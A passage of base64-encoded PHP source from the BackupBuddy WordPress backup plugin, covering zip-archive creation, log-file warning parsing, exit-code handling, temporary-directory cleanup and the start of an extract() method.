bIDAgXSApOyAvLyBOZXZlciB3YW50IHRvIHNlbmQgaW5wdXQgc28ganVzdCBjbG9zZSBpdAoJCQkJCgkJCQkkc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCgkJCQl3aGlsZSAoIHRydWUgPT0gJHN0YXR1c1sgJ3J1bm5pbmcnXSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgQXJjaGl2ZSBmaWxlIGNyZWF0aW9uIGluIHByb2dyZXNzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQlzbGVlcCg1KTsKCQkJCQkkc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCQoJCQkJCS8vIENvdWxkIGFsc28gY2hlY2sgZm9yIHBlcnNpc3RlbnQgZmluYWwgemlwIGZpbGUgKGkuZS4sIHByZXNlbnQgb3ZlciB0d28gbG9vcHMpCgkJCQkJLy8gd2hpY2ggbWlnaHQgbWVhbiB3ZSBhcmUgc29tZWhvdyBub3Qgc2VlaW5nIHRoZSBwcm9jZXNzIGFzIGZpbmlzaGVkIHNvIHdlIHNob3VsZAoJCQkJCS8vIHRlcm1pbmF0ZSBpdCBhbmQgY2xvc2UgaXQgLSBhbmQgaW5kaWNhdGUgc29tZSBmYWlsdXJlCgkJCQl9CgkJCQkKCQkJCSRleGl0Y29kZSA9ICRzdGF0dXNbICdleGl0Y29kZScgXTsKCQkJCQoJCQkJcHJvY19jbG9zZSggJHByb2Nlc3MgKTsKCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIE11c3QgY2xlYW4gdXAgdGVtcG9yYXJ5IGRpcmVjdG9yeQoJCQkKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZhaWxlZCB0byBjcmVhdGUgWmlwIHByb2Nlc3M6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1JlbW92aW5nIHRlbXBvcmFyeSBkaXJlY3RvcnkuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCgkJCQlpZiAoICEoICR0aGlzLT5kZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSggJHRlbXBkaXIgKSApICkgewoJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1RlbXBvcmFyeSBkaXJlY3RvcnkgY291bGQgbm90IGJlIGRlbGV0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkdGVtcGRpciApOwoJCQkJCgkJCQl9CgkJCQkKCQkJCWNoZGlyKCAkd29ya2luZ19kaXIgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBTZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSBiYWNrIHRvIHdoZXJlIHdlIHdlcmUKCQkJY2hkaXIoICR3b3JraW5nX2RpciApOwoJCQkKCQkJLy8gQ29udmVuaWVuY2UgZm9yIGhhbmRsaW5nIGRpZmZlcmVudCBzY2FuYXJpb3MKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkKCQkJLy8gTG9nIGZpbGUgaXMgYWx3YXlzIHByZXNlbnQgLSBlaXRoZXIgY2FwdHVyaW5nIG91dHB1dCBvciBhcyBjb21tYW5kIGxpbmUgb3B0aW9uCgkJCS8vIEFsd2F5cyBzY2FuIHRoZSBsb2dmaWxlIGZvciB3YXJuaW5ncywgZXRjLiBhbmQgc2hvdyB3YXJuaW5ncyBldmVuIGlmIHVzZXIgaGFzIGNob3NlbiB0byBpZ25vcmUgdGhlbQoJCQl0cnkgewoJCQkKCQkJCSRsb2dmaWxlID0gbmV3IFNwbEZpbGVPYmplY3QoICRsb2dmaWxlX25hbWUsICJyYiIgKTsKCQkJCQoJCQkJd2hpbGUoICEkbG9nZmlsZS0+ZW9mKCkgKSB7CgkJCQkKCQkJCQkkbGluZSA9ICRsb2dmaWxlLT5jdXJyZW50KCk7CgkJCQkJJGlkID0gJGxvZ2ZpbGUtPmtleSgpOyAvLyBVc2UgdGhlIGxpbmUgbnVtYmVyIGFzIHVuaXF1ZSBrZXkgZm9yIGxhdGVyIHNvcnRpbmcKCQkJCQkkbG9nZmlsZS0+bmV4dCgpOwoJCQkJCQoJCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHppcCB3YXJuaW5nOikvaScsICRsaW5lICkgKSB7CgkJCQkJCgkJCQkJCS8vIExvb2tpbmcgZm9yIHNwZWNpZmljIHR5cGVzIG9mIHdhcm5pbmcgLSBpbiBwYXJ0aWN1bGFyIHdhbnQgdGhlIHdhcm5pbmcgdGhhdAoJCQkJCQkvLyBpbmRpY2F0ZXMgYSBmaWxlIGNvdWxkbid0IGJlIHJlYWQgYXMgd2Ugd2FudCB0byB0cmVhdCB0aGF0IGFzIGEgInNraXBwZWQiCgkJCQkJCS8vIHdhcm5pbmcgdGhhdCBpbmRpY2F0ZXMgdGhhdCB6aXAgZmxhZ2dlZCB0aGlzIGFzIGEgcG90ZW50aWFsIHByb2JsZW0gYnV0CgkJCQkJCS8vIGNyZWF0ZWQgdGhlIHppcCBmaWxlIGFueXdheSAtIGJ1dCBpdCB3b3VsZCBoYXZlIGdlbmVyYXRlZCB0aGUgbm9uLXplcm8gZXhpdAoJCQkJCQkvLyBjb2RlIG9mIDE4IGFuZCB3ZSBrZXkgb2ZmIHRoYXQgbGF0ZXIuIEFsbCBvdGhlciB3YXJuaW5ncyBhcmUgbm90IGNvbnNpZGVyZWQKCQkJCQkJLy8gcmVhc29ucyB0byByZXR1cm4gYSBub24temVybyBleGl0IGNvZGUgd2hpbHN0IHN0aWxsIGNyZWF0aW5nIGEgemlwIGZpbGUgc28KCQkJCQkJLy8gd2UnbGwgZm9sbG93IHRoZSBsZWFkIG9uIHRoYXQgYW5kIG5vdCBoYXZlIG90aGVyIHdhcm5pbmcgdHlwZXMgaGFsdCB0aGUgYmFja3VwLgoJCQkJCQkvLyBTbyB3ZSdsbCB0cnkgYW5kIGxvb2sgZm9yIGEgd2FybmluZyBvdXRwdXQgdGhhdCBsb29rcyBsaWtlIGl0IGlzIGZpbGUgcmVsYXRlZC4uLgoJCQkJCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKih6aXAgd2FybmluZzopXHMqKFteOl0qOilccyooLiopL2knLCAkbGluZSwgJG1hdGNoZXMgKSApIHsKCQkJCQkJCgkJCQkJCQkvLyBNYXRjaGVkIHRvIHdoYXQgbG9va3MgbGlrZSBhIGZpbGUgcmVsYXRlZCB3YXJuaW5nIHNvIGNoZWNrIHBhcnRpY3VsYXIgY2FzZXMKCQkJCQkJCXN3aXRjaCAoIHN0cnRvbG93ZXIoICRtYXRjaGVzWyAyIF0gKSApIHsKCQkJCQkJCQljYXNlICJjb3VsZCBub3Qgb3BlbiBmb3IgcmVhZGluZzoiOgkJCQkJCQkJCQkKCQkJCQkJCQkJJHppcF93YXJuaW5nc1sgc2VsZjo6WklQX1dBUk5JTkdfU0tJUFBFRCBdWyAkaWQgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCQkJCSR6aXBfd2FybmluZ3NfY291bnQrKzsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAibmFtZSBub3QgbWF0Y2hlZDoiOgkJCQkJCQkJCQkKCQkJCQkJCQkJJHppcF9vdGhlclsgc2VsZjo6WklQX09USEVSX0dFTkVSSUMgXVsgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJCQkkemlwX290aGVyX2NvdW50Kys7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCWRlZmF1bHQ6CgkJCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9XQVJOSU5HX0dFTkVSSUMgXVsgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJCQkkemlwX3dhcm5pbmdzX2NvdW50Kys7CgkJCQkJCQl9CgkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCS8vIERpZG4ndCBtYXRjaCB0byB3aGF0IHdvdWxkIGxvb2sgbGlrZSBhIGZpbGUgcmVsYXRlZCB3YXJuaW5nIHNvIGNvdW50IGl0IHJlZ2FyZGxlc3MKCQkJCQkJCSR6aXBfd2FybmluZ3NbIHNlbGY6OlpJUF9XQVJOSU5HX0dFTkVSSUMgXVsgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkJJHppcF93YXJuaW5nc19jb3VudCsrOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL15ccyooemlwIGVycm9yOikvaScsICRsaW5lICkgKSB7CgkJCQkJCgkJCQkJCSR6aXBfZXJyb3JzWyAkaWQgXSA9IHRyaW0oICRsaW5lICk7CgkJCQkJCSR6aXBfZXJyb3JzX2NvdW50Kys7CgkJCQkJCgkJCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL15ccyooYWRkaW5nOikvaScsICRsaW5lICkgKSB7CgkJCQkJCgkJCQkJCS8vIEN1cnJlbnRseSBub3QgcHJvY2Vzc2luZyBhZGRpdGlvbnMgZW50cmllZAoJCQkJCQkvLyR6aXBfYWRkaXRpb25zW10gPSB0cmltKCAkbGluZSApOwoJCQkJCQkvLyR6aXBfYWRkaXRpb25zX2NvdW50Kys7CgkJCQkJCgkJCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL15ccyooc2Q6KS9pJywgJGxpbmUgKSApIHsKCQkJCQkKCQkJCQkJJHppcF9kZWJ1Z1sgJGlkIF0gPSB0cmltKCAkbGluZSApOwoJCQkJCQkkemlwX2RlYnVnX2NvdW50Kys7CgkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gQ3VycmVudGx5IG5vdCBwcm9jZXNzaW5nIG90aGVyIGVudHJpZXMKCQkJCQkJLy8kemlwX290aGVyW10gPSB0cmltKCAkbGluZSApOwoJCQkJCQkvLyR6aXBfb3RoZXJfY291bnQrKzsKCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQl9CgkJCQkKCQkJCXVuc2V0KCAkbG9nZmlsZSApOwoJCQkJCgkJCQlAdW5saW5rKCAkbG9nZmlsZV9uYW1lICk7CgkJCQkKCQkJfSBjYXRjaCAoIEV4Y2VwdGlvbiAkZSApIHsKCQkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB3ZSBzaG91bGQgaGF2ZSBiZWVuIGFibGUgdG8gb3BlbiB0aGUgbG9nIGZpbGUuLi4KCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnTG9nIGZpbGUgY291bGQgbm90IGJlIG9wZW5lZCAtIGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkKCQkJfQoJCQkKCQkJLy8gU2V0IGNvbnZlbmllbmNlIGZsYWdzCQkJCgkJCSRoYXZlX3ppcF93YXJuaW5ncyA9ICggMCA8ICR6aXBfd2FybmluZ3NfY291bnQgKTsKCQkJJGhhdmVfemlwX2Vycm9ycyA9ICggMCA8ICR6aXBfZXJyb3JzX2NvdW50ICk7CgkJCSRoYXZlX3ppcF9hZGRpdGlvbnMgPSAoIDAgPCAkemlwX2FkZGl0aW9uc19jb3VudCApOwoJCQkkaGF2ZV96aXBfZGVidWcgPSAoIDAgPCAkemlwX2RlYnVnX2NvdW50ICk7CgkJCSRoYXZlX3ppcF9vdGhlciA9ICggMCA8ICR6aXBfb3RoZXJfY291bnQgKTsKCQkJCgkJCS8vIEFsd2F5cyByZXBvcnQgdGhlIGV4aXQgY29kZSByZWdhcmRsZXNzIG9mIHdoZXRoZXIgd2UgbWlnaHQgaWdub3JlIGl0IG9yIG5vdAoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgcHJvY2VzcyBleGl0IGNvZGU6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZXhpdGNvZGUgKTsKCQkJCgkJCS8vIEFsd2F5cyByZXBvcnQgdGhlIG51bWJlciBvZiB3YXJuaW5ncyAtIGV2ZW4ganVzdCB0byBjb25maXJtIHRoYXQgd2UgZGlkbid0IGhhdmUgYW55CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiAlMSRzIHdhcm5pbmclMiRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF93YXJuaW5nc19jb3VudCwgKCAoIDEgPT0gJHppcF93YXJuaW5nc19jb3VudCApID8gJycgOiAncycgKSApICk7CgoJCQkvLyBBbHdheXMgcmVwb3J0IHdhcm5pbmdzIHJlZ2FyZGxlc3Mgb2Ygd2hldGhlciB1c2VyIGhhcyBzZWxlY3RlZCB0byBpZ25vcmUgdGhlbQoJCQlpZiAoIHRydWUgPT09ICRoYXZlX3ppcF93YXJuaW5ncyApIHsKCQkJCgkJCQkkdGhpcy0+bG9nX3ppcF9yZXBvcnRzKCAkemlwX3dhcm5pbmdzLCBzZWxmOjokX3dhcm5pbmdfZGVzYywgIldBUk5JTkciLCBzZWxmOjpNQVhfV0FSTklOR19MSU5FU19UT19TSE9XLCBkaXJuYW1lKCBkaXJuYW1lKCAkdGVtcGRpciApICkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3BiX2JhY2t1cGJ1ZGR5JyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzZWxmOjpaSVBfV0FSTklOR1NfRklMRV9OQU1FICk7CgoJCQl9CgkJCQoJCQkvLyBBbHdheXMgcmVwb3J0IG90aGVyIHJlcG9ydHMgcmVnYXJkbGVzcwoJCQlpZiAoIHRydWUgPT09ICRoYXZlX3ppcF9vdGhlciApIHsKCQkJCgkJCQkvLyBPbmx5IHJlcG9ydCBudW1iZXIgb2YgaW5mb3JtYXRpb25hbHMgaWYgd2UgaGF2ZSBhbnkgYXMgdGhleSBhcmUgbm90IHRoYXQgaW1wb3J0YW50CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXAgcHJvY2VzcyByZXBvcnRlZDogJTEkcyBpbmZvcm1hdGlvbiUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX290aGVyX2NvdW50LCAoICggMSA9PSAkemlwX290aGVyX2NvdW50ICkgPyAnYWwnIDogJ2FscycgKSApICk7CgoJCQkJJHRoaXMtPmxvZ196aXBfcmVwb3J0cyggJHppcF9vdGhlciwgc2VsZjo6JF9vdGhlcl9kZXNjLCAiSU5GT1JNQVRJT04iLCBzZWxmOjpNQVhfT1RIRVJfTElORVNfVE9fU0hPVywgZGlybmFtZSggZGlybmFtZSggJHRlbXBkaXIgKSApIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdwYl9iYWNrdXBidWRkeScgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gc2VsZjo6WklQX09USEVSU19GSUxFX05BTUUgKTsKCgkJCX0KCQkJCgkJCQkvLyBTZWUgaWYgd2UgY2FuIGZpZ3VyZSBvdXQgd2hhdCBoYXBwZW5lZCAtIG5vdGUgdGhhdCAkZXhpdGNvZGUgY291bGQgYmUgbm9uLXplcm8gZm9yIGFjdGlvbmFibGUgd2FybmluZyhzKSBvciBlcnJvcgoJCQkJLy8gaWYgKCAobm8gemlwIGZpbGUpIG9yIChmYXRhbCBleGl0IGNvZGUpIG9yIChub3QgaWdub3Jpbmcgd2FybmFibGUgZXhpdCBjb2RlKSApCgkJCQlpZiAoICggISBAZmlsZV9leGlzdHMoICR0ZW1wX3ppcCApICkgfHwKCQkJCSAoICggMCAhPSAkZXhpdGNvZGUgKSAmJiAoIDE4ICE9ICRleGl0Y29kZSApICkgfHwKCQkJCSAoICggMTggPT0gJGV4aXRjb2RlICkgJiYgISR0aGlzLT5nZXRfaWdub3JlX3dhcm5pbmdzKCkgKSApIHsKCQkJCQoJCQkJLy8gSWYgd2UgaGF2ZSBhbnkgemlwIGVycm9ycyByZXBvcnRlZCBzaG93IHRoZW0gcmVnYXJkbGVzcwoJCQkJaWYgKCB0cnVlID09PSAkaGF2ZV96aXBfZXJyb3JzICkgewoJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6ICUxJHMgZXJyb3JzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9lcnJvcnNfY291bnQgKSApOwoJCQkJCQoJCQkJCWZvcmVhY2ggKCAkemlwX2Vycm9ycyBhcyAkbGluZSApIHsKCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbGluZSApOwoJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfQoKCQkJCS8vIFJlcG9ydCB3aGV0aGVyIG9yIG5vdCB0aGUgemlwIGZpbGUgd2FzIGNyZWF0ZWQgKHdoZXRoZXIgdGhhdCBiZSBpbiB0aGUgZmluYWwgb3IgdGVtcG9yYXJ5IGxvY2F0aW9uKQkJCQoJCQkJaWYgKCAhIEBmaWxlX2V4aXN0cyggJHRlbXBfemlwICkgKSB7CgkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIEFyY2hpdmUgZmlsZSBub3QgY3JlYXRlZCAtIGNoZWNrIHByb2Nlc3MgZXhpdCBjb2RlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgY3JlYXRlZCBidXQgd2l0aCBlcnJvcnMvYWN0aW9uYWJsZS13YXJuaW5ncyBzbyB3aWxsIGJlIGRlbGV0ZWQgLSBjaGVjayBwcm9jZXNzIGV4aXQgY29kZSBhbmQgd2FybmluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCX0KCQkJCQoJCQkJLy8gVGhlIG9wZXJhdGlvbiBoYXMgZmFpbGVkIG9uZSB3YXkgb3IgYW5vdGhlci4gTm90ZSB0aGF0IGFzIHRoZSB1c2VyIGRpZG4ndCBjaG9vc2UgdG8gaWdub3JlIGVycm9ycyB0aGUgemlwIGZpbGUKCQkJCS8vIGlzIGFsd2F5cyBjcmVhdGVkIGluIGEgdGVtcG9yYXJ5IGxvY2F0aW9uIGFuZCB0aGVuIG9ubHkgbW92ZWQgdG8gZmluYWwgbG9jYXRpb24gb24gc3VjY2VzcyB3aXRob3V0IGVycm9yIG9yIHdhcm5pbmdzLgoJCQkJLy8gVGhlcmVmb3JlIGlmIHRoZXJlIGlzIGEgemlwIGZpbGUgKHByb2R1Y2VkIGJ1dCB3aXRoIHdhcm5pbmdzKSBpdCB3aWxsIG5vdCBiZSB2aXNpYmxlIGFuZCB3aWxsIGJlIGRlbGV0ZWQgd2hlbiB0aGUKCQkJCS8vIHRlbXBvcmFyeSBkaXJlY3RvcnkgaXMgZGVsZXRlZCBiZWxvdy4KCQkJCQoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gR290IGZpbGUgd2l0aCBubyBlcnJvciBvciB3YXJuaW5ncyBfb3JfIHdpdGggd2FybmluZ3MgdGhhdCB0aGUgdXNlciBoYXMgY2hvc2VuIHRvIGlnbm9yZQoJCQkJaWYgKCBmYWxzZSA9PT0gJHRoaXMtPmdldF9pZ25vcmVfd2FybmluZ3MoKSApIHsKCQkJCQoJCQkJCS8vIEJlY2F1c2Ugbm90IGlnbm9yaW5nIHdhcm5pbmdzIHRoZSB6aXAgYXJjaGl2ZSB3YXMgYnVpbHQgaW4gdGVtcG9yYXJ5IGxvY2F0aW9uIHNvIHdlIG5lZWQgdG8gbW92ZSBpdAoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ01vdmluZyBaaXAgQXJjaGl2ZSBmaWxlIHRvIGxvY2FsIGFyY2hpdmUgZGlyZWN0b3J5LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQoJCQkJCS8vIE1ha2Ugc3VyZSBubyBzdGFsZSBmaWxlIGluZm9ybWF0aW9uCgkJCQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJCQkKCQkJCQlAcmVuYW1lKCAkdGVtcF96aXAsICR6aXAgKTsKCQkJCQkKCQkJCQlpZiAoIEBmaWxlX2V4aXN0cyggJHppcCApICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgQXJjaGl2ZSBmaWxlIG1vdmVkIHRvIGxvY2FsIGFyY2hpdmUgZGlyZWN0b3J5LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQgd2l0aCBubyBlcnJvcnMgb3IgYWN0aW9uYWJsZSB3YXJuaW5ncy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQoJCQkJCQkkdGhpcy0+bG9nX2FyY2hpdmVfZmlsZV9zdGF0cyggJHppcCApOwoJCQkJCQkJCgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgQXJjaGl2ZSBmaWxlIGNvdWxkIG5vdCBiZSBtb3ZlZCB0byBsb2NhbCBhcmNoaXZlIGRpcmVjdG9yeS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCgkJCQkJfQoJCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBXYXJuaW5ncyB3ZXJlIGJlaW5nIGlnbm9yZWQgc28gYnVpbHQgaW4gZmluYWwgbG9jYXRpb24gc28gbm8gbmVlZCB0byBtb3ZlIGl0CgkJCQkJaWYgKCBAZmlsZV9leGlzdHMoICR6aXAgKSApIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQgd2l0aCBubyBlcnJvcnMgKGFueSBhY3Rpb25hYmxlIHdhcm5pbmdzIGlnbm9yZWQgYnkgdXNlciBzZXR0aW5ncykuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkKCQkJCQkJJHRoaXMtPmxvZ19hcmNoaXZlX2ZpbGVfc3RhdHMoICR6aXAgKTsKCQkJCQkJCQoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gT2RkIGNvbmRpdGlvbiAtIGZpbGUgc2hvdWxkIGJlIHByZXNlbnQgYnV0IGFwcGFyZW50bHkgbm90PwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgQXJjaGl2ZSBmaWxlIGNvdWxkIG5vdCBiZSBmb3VuZCBpbiBsb2NhbCBhcmNoaXZlIGRpcmVjdG9yeS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9CgkJCQkKCQkJfQkJCQoKCQkJLy8gQ2xlYW51cCB0aGUgdGVtcG9yYXJ5IGRpcmVjdG9yeSB0aGF0IHdpbGwgaGF2ZSBhbGwgZGV0cml0dXMgYW5kIG1heWJlIGluY29tcGxldGUgemlwIGZpbGUJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUmVtb3ZpbmcgdGVtcG9yYXJ5IGRpcmVjdG9yeS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQoJCQlpZiAoICEoICR0aGlzLT5kZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSggJHRlbXBkaXIgKSApICkgewoJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUZW1wb3JhcnkgZGlyZWN0b3J5IGNvdWxkIG5vdCBiZSBkZWxldGVkOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHRlbXBkaXIgKTsKCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQkJCQkJCQkKCQl9CgkJCgkJLyoqCgkJICoJZXh0cmFjdCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCUlmIG5vIHNwZWNpZmljIGl0ZW1zIGdpdmVuIHRvIGV4dHJhY3QgdGhlbiBpdCdzIGEgY29tcGxldGUgdW56aXAKCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlhcnJheQkJJGl0ZW1zCQkJCQkJTWFwcGluZyBvZiB3aGF0IHRvIGV4dHJhY3QgYW5kIHRvIHdoYXQKCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MgKGFsbCBleHRyYWN0aW9ucyBzdWNjZXNzZnVsKSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGV4dHJhY3QoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9ICcnLCAkaXRlbXMgPSBhcnJheSgpICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCgkJCXN3aXRjaCAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgewoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX05JWDoKCQkJCQlpZiAoIGVtcHR5KCAkaXRlbXMgKSApIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfZnVsbCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGl0ZW1zICk7CQkJCQkKCQkJCQl9CgkJCQkJYnJlYWs7CgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfV0lOOgoJCQkJCWlmICggZW1wdHkoICRpdGVtcyApICkgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19mdWxsKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkaXRlbXMgKTsJCQkJCQoJCQkJCX0KCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCgkJfQoKCQkvKioKCQkgKglleHRyYWN0KCkKCQkgKgoJCSAqCUV4dHJhY3RzIHRoZSBjb250ZW50cyBvZiBhIHppcCBmaWxlIHRvIHRoZSBzcGVjaWZpZWQgZGlyZWN